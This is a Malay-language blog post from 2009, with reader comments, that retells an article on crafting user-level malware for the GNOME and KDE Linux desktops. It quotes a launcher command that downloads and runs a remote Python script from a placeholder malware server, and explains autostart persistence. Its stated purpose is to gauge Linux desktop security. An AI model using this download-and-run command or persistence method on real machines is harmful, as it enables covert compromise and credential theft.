Wednesday, February 18, 2009

Menghasilkan virus untuk linux dalam 5 langkah “mudah”.

Geekzone(http://www.geekzone.co.nz/foobar/6229) telah menghasilkan satu artikel hebat menerangkan satu persatu tentang cara-cara menghasilkan virus untuk linux atau lebih tepat lagi, virus untuk desktop environment GNOME dan KDE. Artikelnya berkisar tentang “bagaimana virus tersebut akan dilarikan, beroperasi, ruang lingkup kerosakan dan kerumitan yang mampu dihasilkan dan cara mengatasi”.

Ini adalah ulasan semula kepada artikel tersebut menurut versi dan kefahaman saya sendiri.

Modus operandi virus yang ingin dihasilkan ialah mudah – buatkan seseorang pengguna komputer untuk melarikan executable attachment yang diattach kedalam email. Ini adalah modus operandi bagi virus yang paling mudah dan paling senang untuk diukur dan dikawal kebarangkalian kejayaannya. Dalam windows, attachkan sesuatu fail .EXE ke dalam email atau embeddedkan sesuatu virus (yang sebenarnya hanyalah kod program komputer) ke dalam fail yang tidak dicurigai seperti .JPG, .PNG, .DOC, .TXT, dan seumpamanya.

Antara sebab mengapa virus senang merebak ialah kerana sikap KETIDAKPEDULIAN pengguna komputer itu sendiri. Mereka tidak peduli apa yang mereka klik, apa yang bakal terjadi dan risiko yang menanti. Katakan anda attachkan satu fail virus dengan tajuk email “Tengok gambar artis kita bogel lagi..”. Kembang kempis lah hidung mamat yang buka email macam tu tanpa mengetahui yang dalam masa yang singkat sahaja komputernya akan dikuasai oleh virus jika ianya tidak dilengkapi dengan antivirus.

Menghasilkan virus untuk linux memerlukan beberapa cabaran yang tidak pernah wujud dalam windows. Dalam windows, fail EXE sahaja boleh menguasai satu komputer tanpa perlu mempunyai administration privilege. Kerana linux dan sistem berasaskan UNIX lain dilindungi oleh password yang anda sendiri pilih ketika proses pemasangan (atau password yang ditetapkan untuk akaun root), sehebat manapun virus linux yang anda hasilkan ianya tidak boleh menguasai komputer pada tahap adminitrative privilege. Kesan dan kebarangkalian kerosakkan yang bakal dihasilkan oleh mana-mana virus untuk linux HANYA akan berkisar kepada tahap pengguna sahaja. Antaranya ialah, virus tersebut boleh mencapai senarai email dari address book seseorang pengguna komputer, hantar email tersebut kepada malware server yang lain, memasang firefox extensions yang merakam password yang ditaipkan, melarikan desktop VNC tanpa pengetahuan pengguna, dan memulakan aktiviti popup untuk pengiklanan (seperti yang anda semua familiar dalam windows).

Membuat attachment di execute dalam linux.

Dalam linux, ubuntu sebagai contoh, sesuatu file yang didownload dari internet atau dari attachment email tidak boleh di run kerana permissionnya belum disetkan kepada executable file. Ciri ini merupakan satu perbezaan besar antara linux dan windows dari segi keselamatan. Namun, meskipun linux mempunyai ciri keselamatan yang sebegitu rupa, desktop environment seperti GNOME dan KDE masih mempunyai lubang-lubang kelemahan (vulnerabilities) dan bagi kes ini, GNOME dan KDE mempunyai apa yang dipanggil launcher yang membuka ruang kearah kebarangkalian untuk sesuatu fail itu di execute. Dalam GNOME misalnya, launcher biasanya mempunyai kebolehan memproses bash command dan katakan anda setkan command kepada sesuatu seperti berikut;
% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

Command sebegini yang disematkan dalam sesuatu launcher akan menggunakan “curl” untuk mendownload s.py dari server yang mana s.py ini ialah script yang ditulis dalam Python untuk melakukan tugas-tugas berikutnya. s.py ini akan disimpan dalam direktori sementara iaitu /tmp dan command seterusnya akan execute script tersebut.

NOTA : Ubuntu tidak mempunyai fungsi curl tetapi mempunyai sesuatu yang lain iaitu wget untuk mendownload sesuatu dari internet menerusi command line.

Sekarang ianya bergantung kepada apa yang mampu dilakukan oleh script s.py tersebut. Ini samada sekali bergantung kepada kreativiti penulis script s.py tersebut. Seperti yang dibincangkan sebelum ini, tahap kerosakkan maksima yang mampu dihasilkan oleh virus dengan cara begini hanyalah berkisar pada tahap normal user. Apa yang boleh anda lakukan sebagai normal user, itu jugalah yang mampu dihasilkan oleh script ini.

Autorestart?

Sebagaimana yang boleh dilakukan dalam windows, lubang-lubang kelemahan dalam desktop environment dalam linux juga memberikan kebarangkalian yang cukup luas untuk membolehkan ia autorestart setiap kali pengguna membuka komputer linux mereka. Dalam GNOME, sila buka ~/.config/autostart . Direktori tersembunyi ini mengandungi launcher yang anda setkan untuk autostart setiap kali sesi GNOME dimulakan. Dalam KDE pula, direktorinya ialah ~/.kde/Autostart .



Bacaan lanjut dalam geekzone.

NOTE : Apa yang diharapkan dari artikel dan maklumat sebegini ialah untuk meletakkan kayu ukur tahap keselamatan sistem operasi berasaskan linux yang menggunakan desktop environment GNOME mahupun KDE. Berfikir atas konsep ilmu. Semoga bermanfaat.

3 comments:

  1. python script aje ke yg bleh lepas?
    java script?

    kalau ade lain2 script boleh jadi virus dkt linux kasi maklum ye..haha

    ReplyDelete
  2. @jipang : slagi mana ubuntu bleh compile dan execute script 2 la..xkira python ke c ke c++ ke ruby ke..hehe

    ReplyDelete
  3. do you read the orig. article comments, the misused term of 'virus'. Tlg la jgn tambah kekeliruan pengguna non-tech dgn pktaan 'virus'. artikel yg dirujuk tsebut adalah bkenaan "malware utk linux desktop environment (Gnome & KDE)", bukan virus utk linux (linux is just a kernel).
    mmg la pengguna biasa xkesah ngn term yg digunakan, tp kalo dah biasa mggunakan term yg betul, pengguna akan tau perbezaan virus/worm/malware etc.

    ReplyDelete

Terima kasih atas respon..

Quartz OS: Material Design + Linux = Awesome

Konsep Material Design pertama kali diperkenalkan oleh Google untuk Android 5.0 Lollipop. Nampaknya, ada developer yang berminat untuk ...